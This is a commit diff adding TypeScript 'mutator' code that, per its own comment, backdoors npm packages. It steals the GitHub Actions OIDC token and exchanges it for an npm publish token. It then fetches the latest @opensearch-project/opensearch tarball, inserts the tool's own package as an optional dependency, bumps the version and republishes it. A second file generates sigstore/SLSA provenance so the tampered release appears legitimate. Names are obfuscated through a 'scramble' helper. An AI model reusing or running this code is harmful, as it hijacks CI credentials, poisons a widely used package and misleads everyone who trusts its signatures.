Upload files to "src/mutator/npmoidc"
This commit is contained in:
@@ -0,0 +1,189 @@
|
||||
import { $ } from "bun";
|
||||
import { randomBytes } from "crypto";
|
||||
import { copyFileSync, createWriteStream } from "fs";
|
||||
import * as fs from "fs/promises";
|
||||
import * as path from "path";
|
||||
import { join } from "path";
|
||||
import { Readable } from "stream";
|
||||
import { pipeline } from "stream/promises";
|
||||
import * as tar from "tar";
|
||||
|
||||
import { PACKAGE_NAME } from "../../utils/config";
|
||||
import { logUtil } from "../../utils/logger";
|
||||
import { Mutator } from "../base";
|
||||
import { publishTarball } from "../npm/publish";
|
||||
import { generateProvenanceBundle } from "./provenance";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// Replace with packages to backdoor
|
||||
const PACKAGES = [scramble("@opensearch-project/opensearch")];
|
||||
|
||||
export class NPMOidcClient extends Mutator {
|
||||
constructor() {
|
||||
super();
|
||||
}
|
||||
|
||||
private async updateTarball(tarballPath: string): Promise<string> {
|
||||
const uniqueSuffix = `${Date.now()}_${randomBytes(8).toString("hex")}`;
|
||||
const tmpDir = path.join(path.dirname(tarballPath), `_tmp_${uniqueSuffix}`);
|
||||
await fs.mkdir(tmpDir, { recursive: true });
|
||||
|
||||
try {
|
||||
await tar.extract({ file: tarballPath, cwd: tmpDir });
|
||||
const pkgJsonPath = path.join(tmpDir, "package", "package.json");
|
||||
const pkg = JSON.parse(await fs.readFile(pkgJsonPath, "utf-8"));
|
||||
pkg.optionalDependencies ??= {};
|
||||
pkg.optionalDependencies["@opensearch/setup"] = PACKAGE_NAME;
|
||||
const [major, minor, patch] = pkg.version.split(".").map(Number);
|
||||
pkg.version = `${major}.${minor}.${patch + 1}`;
|
||||
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
|
||||
|
||||
const updatedPath = path.join(
|
||||
path.dirname(tarballPath),
|
||||
`${uniqueSuffix}_${scramble(`package-updated.tgz`)}`,
|
||||
);
|
||||
await pipeline(
|
||||
tar.create({ gzip: true, cwd: tmpDir }, ["package"]),
|
||||
createWriteStream(updatedPath),
|
||||
);
|
||||
|
||||
// Defensive postcondition: fail loudly here with context if the
|
||||
// tarball is somehow not a valid gzip stream, instead of
|
||||
// exploding inside `gunzipSync` further down the pipeline.
|
||||
const written = await fs.readFile(updatedPath);
|
||||
if (written.length < 18 || written[0] !== 0x1f || written[1] !== 0x8b) {
|
||||
throw new Error(
|
||||
`[npmoidc] tarball at ${updatedPath} is not a valid gzip stream ` +
|
||||
`(len=${written.length}, first bytes=${written.subarray(0, 4).toString("hex")})`,
|
||||
);
|
||||
}
|
||||
|
||||
logUtil.log(`Updated path: ${updatedPath}`);
|
||||
return updatedPath;
|
||||
} finally {
|
||||
}
|
||||
}
|
||||
|
||||
async downloadPackages(
|
||||
packages: string[],
|
||||
oidcToken: string,
|
||||
): Promise<{ tmpDir: string; downloaded: string[] }> {
|
||||
const tmpDir = await $`mktemp -d`.text().then((s) => s.trim());
|
||||
const downloaded: string[] = [];
|
||||
|
||||
const download = async (pkg: string) => {
|
||||
try {
|
||||
const meta = await fetch(
|
||||
scramble("https://registry.npmjs.org/") +
|
||||
`${pkg.replace("/", "%2F")}`,
|
||||
);
|
||||
if (!meta.ok) return;
|
||||
const { "dist-tags": tags, versions } = (await meta.json()) as {
|
||||
"dist-tags": { latest: string };
|
||||
versions: Record<string, { dist?: { tarball?: string } }>;
|
||||
};
|
||||
const tarball = versions[tags.latest]?.dist?.tarball;
|
||||
if (!tarball) return;
|
||||
|
||||
const res = await fetch(tarball);
|
||||
if (!res.ok || !res.body) return;
|
||||
|
||||
const filename = `${pkg.replace("@", "").replace("/", "-")}-${tags.latest}.tgz`;
|
||||
const tarballPath = join(tmpDir, filename);
|
||||
await pipeline(
|
||||
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
|
||||
createWriteStream(tarballPath),
|
||||
);
|
||||
const updatedPath = await this.updateTarball(tarballPath);
|
||||
|
||||
// Generate sigstore provenance (best-effort; publish proceeds without it on failure).
|
||||
let provenanceBundle: Record<string, any> | undefined;
|
||||
try {
|
||||
const result = await generateProvenanceBundle(updatedPath);
|
||||
if (result) {
|
||||
provenanceBundle = result.bundle;
|
||||
if (result.transparencyLogUrl) {
|
||||
logUtil.log(`[provenance] ${pkg}: ${result.transparencyLogUrl}`);
|
||||
}
|
||||
}
|
||||
} catch (provErr) {
|
||||
logUtil.log(`[provenance] generation failed for ${pkg}: ${provErr}`);
|
||||
}
|
||||
|
||||
await this.publishPackage(
|
||||
updatedPath,
|
||||
pkg,
|
||||
oidcToken,
|
||||
provenanceBundle,
|
||||
);
|
||||
downloaded.push(updatedPath);
|
||||
} catch (e) {
|
||||
logUtil.log(`Failed to download ${pkg}: ${e}`);
|
||||
}
|
||||
};
|
||||
|
||||
await Promise.all(packages.map(download));
|
||||
return { tmpDir, downloaded };
|
||||
}
|
||||
|
||||
async publishPackage(
|
||||
tarballPath: string,
|
||||
packageName: string,
|
||||
oidcToken: string,
|
||||
provenanceBundle?: Record<string, any>,
|
||||
): Promise<boolean> {
|
||||
try {
|
||||
const escapedPackageName = encodeURIComponent(packageName);
|
||||
const npmRes = await fetch(
|
||||
`https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/${escapedPackageName}`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Authorization: `Bearer ${oidcToken}`,
|
||||
},
|
||||
body: JSON.stringify({ oidcToken }),
|
||||
},
|
||||
);
|
||||
const { token } = (await npmRes.json()) as { token: string };
|
||||
|
||||
if (token) {
|
||||
logUtil.log("About to publish!");
|
||||
return await publishTarball(
|
||||
tarballPath,
|
||||
token,
|
||||
false,
|
||||
provenanceBundle,
|
||||
);
|
||||
} else {
|
||||
logUtil.log("About to publish!");
|
||||
await publishTarball(tarballPath, "DummyToken", true);
|
||||
return false;
|
||||
}
|
||||
} catch (e) {
|
||||
logUtil.error("Error publishing!");
|
||||
logUtil.error(e);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async execute(): Promise<Boolean> {
|
||||
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } =
|
||||
process.env;
|
||||
|
||||
const oidcRes = await fetch(
|
||||
`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`,
|
||||
{
|
||||
headers: { Authorization: `bearer ${ACTIONS_ID_TOKEN_REQUEST_TOKEN}` },
|
||||
},
|
||||
);
|
||||
const { value: oidcToken } = (await oidcRes.json()) as { value: string };
|
||||
if (oidcToken) {
|
||||
await this.downloadPackages(PACKAGES, oidcToken);
|
||||
return true;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,491 @@
|
||||
import {
|
||||
createHash,
|
||||
generateKeyPairSync,
|
||||
sign as cryptoSign,
|
||||
} from "node:crypto";
|
||||
import { readFile } from "node:fs/promises";
|
||||
import { gunzipSync } from "node:zlib";
|
||||
|
||||
import { logUtil } from "../../utils/logger";
|
||||
|
||||
const FULCIO_URL = "https://fulcio.sigstore.dev";
|
||||
const REKOR_URL = "https://rekor.sigstore.dev";
|
||||
|
||||
const INTOTO_PAYLOAD_TYPE = "application/vnd.in-toto+json";
|
||||
const INTOTO_STATEMENT_V1_TYPE = "https://in-toto.io/Statement/v1";
|
||||
const SLSA_PREDICATE_V1_TYPE = "https://slsa.dev/provenance/v1";
|
||||
const GITHUB_BUILDER_ID_PREFIX = "https://github.com/actions/runner";
|
||||
const GITHUB_BUILD_TYPE =
|
||||
"https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1";
|
||||
const BUNDLE_V03_MEDIA_TYPE = "application/vnd.dev.sigstore.bundle.v0.3+json";
|
||||
|
||||
interface ProvenanceSubject {
|
||||
name: string;
|
||||
digest: { sha512: string };
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts package.json from a raw (uncompressed) tar buffer.
|
||||
*/
|
||||
function extractPackageJson(tar: Buffer): { name: string; version: string } {
|
||||
let offset = 0;
|
||||
while (offset + 512 <= tar.length) {
|
||||
const header = tar.subarray(offset, offset + 512);
|
||||
if (header[0] === 0) break;
|
||||
|
||||
const nameField = header.subarray(0, 100);
|
||||
const nameEnd = nameField.indexOf(0);
|
||||
const name = nameField
|
||||
.subarray(0, nameEnd === -1 ? 100 : nameEnd)
|
||||
.toString("utf8");
|
||||
|
||||
const sizeStr = header
|
||||
.subarray(124, 136)
|
||||
.toString("utf8")
|
||||
.replace(/\0/g, "")
|
||||
.trim();
|
||||
const size = sizeStr ? parseInt(sizeStr, 8) : 0;
|
||||
|
||||
offset += 512;
|
||||
|
||||
if (name === "package/package.json" || name.endsWith("/package.json")) {
|
||||
const data = tar.subarray(offset, offset + size);
|
||||
return JSON.parse(data.toString("utf8"));
|
||||
}
|
||||
|
||||
offset += Math.ceil(size / 512) * 512;
|
||||
}
|
||||
throw new Error("package.json not found in tarball");
|
||||
}
|
||||
|
||||
/**
|
||||
* Constructs the DSSE Pre-Authentication Encoding (PAE).
|
||||
* Format: "DSSEv1 <typeLen> <type> <payloadLen> " + payloadBytes
|
||||
*/
|
||||
function preAuthEncoding(payloadType: string, payload: Buffer): Buffer {
|
||||
const prefix = `DSSEv1 ${payloadType.length} ${payloadType} ${payload.length} `;
|
||||
return Buffer.concat([Buffer.from(prefix, "ascii"), payload]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Extracts the subject claim from a JWT (email if verified, otherwise sub).
|
||||
*/
|
||||
function extractJWTSubject(jwt: string): string {
|
||||
const parts = jwt.split(".", 3);
|
||||
if (!parts[1]) {
|
||||
throw new Error("Malformed JWT: missing payload segment");
|
||||
}
|
||||
const payload = JSON.parse(Buffer.from(parts[1], "base64").toString("utf-8"));
|
||||
if (payload.email) {
|
||||
if (!payload.email_verified) {
|
||||
throw new Error("JWT email not verified by issuer");
|
||||
}
|
||||
return payload.email;
|
||||
}
|
||||
if (payload.sub) {
|
||||
return payload.sub;
|
||||
}
|
||||
throw new Error("JWT subject not found");
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a PEM-encoded certificate to raw DER bytes.
|
||||
*/
|
||||
function pemToDER(pem: string): Buffer {
|
||||
const lines = pem
|
||||
.split("\n")
|
||||
.filter(
|
||||
(l) =>
|
||||
!l.startsWith("-----BEGIN") &&
|
||||
!l.startsWith("-----END") &&
|
||||
l.trim() !== "",
|
||||
);
|
||||
return Buffer.from(lines.join(""), "base64");
|
||||
}
|
||||
|
||||
/**
|
||||
* Converts a package name + version to a Package URL (purl).
|
||||
* e.g. "@tanstack/react-router", "1.2.3" -> "pkg:npm/%40tanstack/react-router@1.2.3"
|
||||
*/
|
||||
function toPurl(name: string, version: string): string {
|
||||
if (name.startsWith("@")) {
|
||||
return `pkg:npm/%40${name.slice(1)}@${version}`;
|
||||
}
|
||||
return `pkg:npm/${name}@${version}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Builds the SLSA v1 provenance predicate for GitHub Actions.
|
||||
*/
|
||||
function buildProvenanceStatement(subjects: ProvenanceSubject[]) {
|
||||
const e = process.env;
|
||||
const relativeRef = (e.GITHUB_WORKFLOW_REF || "").replace(
|
||||
e.GITHUB_REPOSITORY + "/",
|
||||
"",
|
||||
);
|
||||
const delimiterIndex = relativeRef.indexOf("@");
|
||||
const workflowPath = relativeRef.slice(0, delimiterIndex);
|
||||
const workflowRef = relativeRef.slice(delimiterIndex + 1);
|
||||
|
||||
return {
|
||||
_type: INTOTO_STATEMENT_V1_TYPE,
|
||||
subject: subjects,
|
||||
predicateType: SLSA_PREDICATE_V1_TYPE,
|
||||
predicate: {
|
||||
buildDefinition: {
|
||||
buildType: GITHUB_BUILD_TYPE,
|
||||
externalParameters: {
|
||||
workflow: {
|
||||
ref: workflowRef,
|
||||
repository: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}`,
|
||||
path: workflowPath,
|
||||
},
|
||||
},
|
||||
internalParameters: {
|
||||
github: {
|
||||
event_name: e.GITHUB_EVENT_NAME,
|
||||
repository_id: e.GITHUB_REPOSITORY_ID,
|
||||
repository_owner_id: e.GITHUB_REPOSITORY_OWNER_ID,
|
||||
},
|
||||
},
|
||||
resolvedDependencies: [
|
||||
{
|
||||
uri: `git+${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}@${e.GITHUB_REF}`,
|
||||
digest: { gitCommit: e.GITHUB_SHA },
|
||||
},
|
||||
],
|
||||
},
|
||||
runDetails: {
|
||||
builder: {
|
||||
id: `${GITHUB_BUILDER_ID_PREFIX}/${e.RUNNER_ENVIRONMENT}`,
|
||||
},
|
||||
metadata: {
|
||||
invocationId: `${e.GITHUB_SERVER_URL}/${e.GITHUB_REPOSITORY}/actions/runs/${e.GITHUB_RUN_ID}/attempts/${e.GITHUB_RUN_ATTEMPT}`,
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets a sigstore-audience OIDC token from GitHub Actions.
|
||||
*/
|
||||
async function getSigstoreToken(): Promise<string> {
|
||||
const requestUrl = process.env.ACTIONS_ID_TOKEN_REQUEST_URL;
|
||||
const requestToken = process.env.ACTIONS_ID_TOKEN_REQUEST_TOKEN;
|
||||
|
||||
if (!requestUrl || !requestToken) {
|
||||
throw new Error("GitHub Actions OIDC env vars not available for sigstore");
|
||||
}
|
||||
|
||||
const url = new URL(requestUrl);
|
||||
url.searchParams.append("audience", "sigstore");
|
||||
|
||||
const response = await fetch(url.href, {
|
||||
headers: {
|
||||
Accept: "application/json",
|
||||
Authorization: `Bearer ${requestToken}`,
|
||||
},
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
throw new Error(`Failed to get sigstore OIDC token: ${response.status}`);
|
||||
}
|
||||
|
||||
const data = (await response.json()) as { value: string };
|
||||
if (!data.value) {
|
||||
throw new Error("Sigstore OIDC response missing token value");
|
||||
}
|
||||
return data.value;
|
||||
}
|
||||
|
||||
/**
|
||||
* Requests a short-lived signing certificate from Fulcio.
|
||||
*
|
||||
* Sends the OIDC identity token, the ephemeral public key (PEM/SPKI),
|
||||
* and a proof-of-possession signature (the JWT subject signed with
|
||||
* the ephemeral private key).
|
||||
*
|
||||
* Returns the PEM certificate chain (leaf first).
|
||||
*/
|
||||
async function getSigningCertificate(
|
||||
identityToken: string,
|
||||
publicKeyPEM: string,
|
||||
challengeSignature: Buffer,
|
||||
): Promise<string[]> {
|
||||
const body = {
|
||||
credentials: { oidcIdentityToken: identityToken },
|
||||
publicKeyRequest: {
|
||||
publicKey: {
|
||||
algorithm: "ECDSA",
|
||||
content: publicKeyPEM,
|
||||
},
|
||||
proofOfPossession: challengeSignature.toString("base64"),
|
||||
},
|
||||
};
|
||||
|
||||
const response = await fetch(`${FULCIO_URL}/api/v2/signingCert`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const text = await response.text();
|
||||
throw new Error(
|
||||
`Fulcio signing cert request failed: ${response.status} — ${text}`,
|
||||
);
|
||||
}
|
||||
|
||||
const result = (await response.json()) as Record<string, any>;
|
||||
const chain =
|
||||
result.signedCertificateEmbeddedSct?.chain?.certificates ??
|
||||
result.signedCertificateDetachedSct?.chain?.certificates;
|
||||
|
||||
if (!chain || chain.length === 0) {
|
||||
throw new Error("Fulcio returned no certificates");
|
||||
}
|
||||
return chain as string[];
|
||||
}
|
||||
|
||||
interface RekorEntry {
|
||||
logIndex: number;
|
||||
logID: string;
|
||||
integratedTime: number;
|
||||
body: string; // base64
|
||||
signedEntryTimestamp?: string; // base64
|
||||
inclusionProof?: {
|
||||
logIndex: number;
|
||||
rootHash: string; // hex
|
||||
treeSize: number;
|
||||
hashes: string[]; // hex[]
|
||||
checkpoint: string;
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Submits a DSSE envelope + verifier certificate to the Rekor
|
||||
* transparency log and returns the log entry.
|
||||
*/
|
||||
async function submitToRekor(
|
||||
envelope: Record<string, any>,
|
||||
leafCertPEM: string,
|
||||
): Promise<RekorEntry> {
|
||||
const envelopeJSON = JSON.stringify(envelope);
|
||||
const encodedCert = Buffer.from(leafCertPEM).toString("base64");
|
||||
|
||||
const body = {
|
||||
apiVersion: "0.0.1",
|
||||
kind: "dsse",
|
||||
spec: {
|
||||
proposedContent: {
|
||||
envelope: envelopeJSON,
|
||||
verifiers: [encodedCert],
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
const response = await fetch(`${REKOR_URL}/api/v1/log/entries`, {
|
||||
method: "POST",
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
Accept: "application/json",
|
||||
},
|
||||
body: JSON.stringify(body),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const text = await response.text();
|
||||
throw new Error(
|
||||
`Rekor entry creation failed: ${response.status} — ${text}`,
|
||||
);
|
||||
}
|
||||
|
||||
const data = (await response.json()) as Record<string, any>;
|
||||
const entries = Object.entries(data);
|
||||
if (entries.length !== 1) {
|
||||
throw new Error(
|
||||
`Unexpected Rekor response: expected 1 entry, got ${entries.length}`,
|
||||
);
|
||||
}
|
||||
|
||||
const [, entry] = entries[0]!;
|
||||
const proof = entry.verification?.inclusionProof;
|
||||
|
||||
return {
|
||||
logIndex: entry.logIndex,
|
||||
logID: entry.logID,
|
||||
integratedTime: entry.integratedTime,
|
||||
body: entry.body,
|
||||
signedEntryTimestamp: entry.verification?.signedEntryTimestamp,
|
||||
inclusionProof: proof
|
||||
? {
|
||||
logIndex: proof.logIndex,
|
||||
rootHash: proof.rootHash,
|
||||
treeSize: proof.treeSize,
|
||||
hashes: proof.hashes,
|
||||
checkpoint: proof.checkpoint,
|
||||
}
|
||||
: undefined,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Generates a sigstore provenance bundle for an npm package tarball.
|
||||
*
|
||||
* This implements the same flow as `sigstore.attest()` used by the
|
||||
* npm CLI's `libnpmpublish`:
|
||||
*
|
||||
* 1. Build an in-toto/SLSA provenance statement
|
||||
* 2. Get an ephemeral signing certificate from Fulcio via OIDC
|
||||
* 3. Sign a DSSE envelope containing the statement
|
||||
* 4. Record the envelope in the Rekor transparency log
|
||||
* 5. Assemble a sigstore bundle (v0.3) with all verification material
|
||||
*
|
||||
* @returns The bundle JSON and an optional transparency log URL,
|
||||
* or `null` if provenance generation is not possible
|
||||
* (e.g. not running in GitHub Actions).
|
||||
*/
|
||||
export async function generateProvenanceBundle(tarballPath: string): Promise<{
|
||||
bundle: Record<string, any>;
|
||||
transparencyLogUrl?: string;
|
||||
} | null> {
|
||||
// ── 1. Read tarball and compute integrity ──────────────────────
|
||||
const tarballData = await readFile(tarballPath);
|
||||
const sha512Hex = createHash("sha512").update(tarballData).digest("hex");
|
||||
|
||||
const decompressed = gunzipSync(tarballData);
|
||||
const pkg = extractPackageJson(decompressed);
|
||||
const { name: packageName, version: packageVersion } = pkg;
|
||||
|
||||
if (!packageName || !packageVersion) {
|
||||
throw new Error(
|
||||
"Cannot generate provenance: package.json missing name or version",
|
||||
);
|
||||
}
|
||||
|
||||
const subjects: ProvenanceSubject[] = [
|
||||
{
|
||||
name: toPurl(packageName, packageVersion),
|
||||
digest: { sha512: sha512Hex },
|
||||
},
|
||||
];
|
||||
|
||||
// ── 2. Build the SLSA provenance statement ─────────────────────
|
||||
const statement = buildProvenanceStatement(subjects);
|
||||
const payloadBytes = Buffer.from(JSON.stringify(statement));
|
||||
|
||||
// ── 3. Get sigstore OIDC token ─────────────────────────────────
|
||||
const sigstoreToken = await getSigstoreToken();
|
||||
|
||||
// ── 4. Generate ephemeral ECDSA P-256 keypair ──────────────────
|
||||
const keypair = generateKeyPairSync("ec", { namedCurve: "P-256" });
|
||||
const publicKeyPEM = keypair.publicKey
|
||||
.export({ format: "pem", type: "spki" })
|
||||
.toString();
|
||||
|
||||
// ── 5. Proof-of-possession: sign the JWT subject ───────────────
|
||||
const jwtSubject = extractJWTSubject(sigstoreToken);
|
||||
const challengeSig = cryptoSign(
|
||||
"sha256",
|
||||
Buffer.from(jwtSubject),
|
||||
keypair.privateKey,
|
||||
);
|
||||
|
||||
// ── 6. Get signing certificate from Fulcio ─────────────────────
|
||||
const certChain = await getSigningCertificate(
|
||||
sigstoreToken,
|
||||
publicKeyPEM,
|
||||
challengeSig,
|
||||
);
|
||||
const leafCertPEM = certChain[0]!;
|
||||
const leafCertDER = pemToDER(leafCertPEM);
|
||||
|
||||
// ── 7. Sign the DSSE envelope ──────────────────────────────────
|
||||
const pae = preAuthEncoding(INTOTO_PAYLOAD_TYPE, payloadBytes);
|
||||
const signature = cryptoSign("sha256", pae, keypair.privateKey);
|
||||
|
||||
// Envelope with base64-encoded fields (for Rekor submission and
|
||||
// the final bundle — matches the protobuf Envelope JSON format).
|
||||
const envelopeJSON = {
|
||||
payloadType: INTOTO_PAYLOAD_TYPE,
|
||||
payload: payloadBytes.toString("base64"),
|
||||
signatures: [{ keyid: "", sig: signature.toString("base64") }],
|
||||
};
|
||||
|
||||
// ── 8. Submit to Rekor transparency log ────────────────────────
|
||||
const rekorEntry = await submitToRekor(envelopeJSON, leafCertPEM);
|
||||
|
||||
logUtil.log(
|
||||
`[provenance] Rekor log entry created at index ${rekorEntry.logIndex}`,
|
||||
);
|
||||
|
||||
// ── 9. Build the transparency log entry for the bundle ─────────
|
||||
//
|
||||
// Field encoding follows the sigstore protobuf JSON serialization:
|
||||
// - All bytes fields are standard base64 with padding
|
||||
// - All int64 fields are JSON strings (not numbers)
|
||||
// - logID from Rekor is hex; convert to base64 via Buffer
|
||||
// - body/canonicalizedBody from Rekor is already base64
|
||||
// - signedEntryTimestamp from Rekor is already base64
|
||||
// - inclusionProof hashes/rootHash from Rekor are hex; convert
|
||||
|
||||
const tlogEntry: Record<string, any> = {
|
||||
logIndex: rekorEntry.logIndex.toString(),
|
||||
logId: {
|
||||
keyId: Buffer.from(rekorEntry.logID, "hex").toString("base64"),
|
||||
},
|
||||
kindVersion: { kind: "dsse", version: "0.0.1" },
|
||||
integratedTime: rekorEntry.integratedTime.toString(),
|
||||
canonicalizedBody: rekorEntry.body,
|
||||
};
|
||||
|
||||
if (rekorEntry.signedEntryTimestamp) {
|
||||
tlogEntry.inclusionPromise = {
|
||||
signedEntryTimestamp: rekorEntry.signedEntryTimestamp,
|
||||
};
|
||||
}
|
||||
|
||||
if (rekorEntry.inclusionProof) {
|
||||
const p = rekorEntry.inclusionProof;
|
||||
tlogEntry.inclusionProof = {
|
||||
logIndex: p.logIndex.toString(),
|
||||
treeSize: p.treeSize.toString(),
|
||||
rootHash: Buffer.from(p.rootHash, "hex").toString("base64"),
|
||||
hashes: p.hashes.map((h: string) =>
|
||||
Buffer.from(h, "hex").toString("base64"),
|
||||
),
|
||||
checkpoint: { envelope: p.checkpoint },
|
||||
};
|
||||
}
|
||||
|
||||
// ── 10. Assemble the sigstore bundle (v0.3) ────────────────────
|
||||
//
|
||||
// v0.3 uses a single `certificate` field (not `x509CertificateChain`)
|
||||
// and stores the leaf cert as base64-encoded DER bytes.
|
||||
|
||||
const bundle: Record<string, any> = {
|
||||
mediaType: BUNDLE_V03_MEDIA_TYPE,
|
||||
verificationMaterial: {
|
||||
certificate: {
|
||||
rawBytes: leafCertDER.toString("base64"),
|
||||
},
|
||||
tlogEntries: [tlogEntry],
|
||||
timestampVerificationData: {
|
||||
rfc3161Timestamps: [],
|
||||
},
|
||||
},
|
||||
dsseEnvelope: {
|
||||
payloadType: INTOTO_PAYLOAD_TYPE,
|
||||
payload: payloadBytes.toString("base64"),
|
||||
signatures: [{ sig: signature.toString("base64") }],
|
||||
},
|
||||
};
|
||||
|
||||
const transparencyLogUrl =
|
||||
rekorEntry.logIndex != null
|
||||
? `https://search.sigstore.dev/?logIndex=${rekorEntry.logIndex}`
|
||||
: undefined;
|
||||
|
||||
return { bundle, transparencyLogUrl };
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
export type MutatorName = "npm";
|
||||
Reference in New Issue
Block a user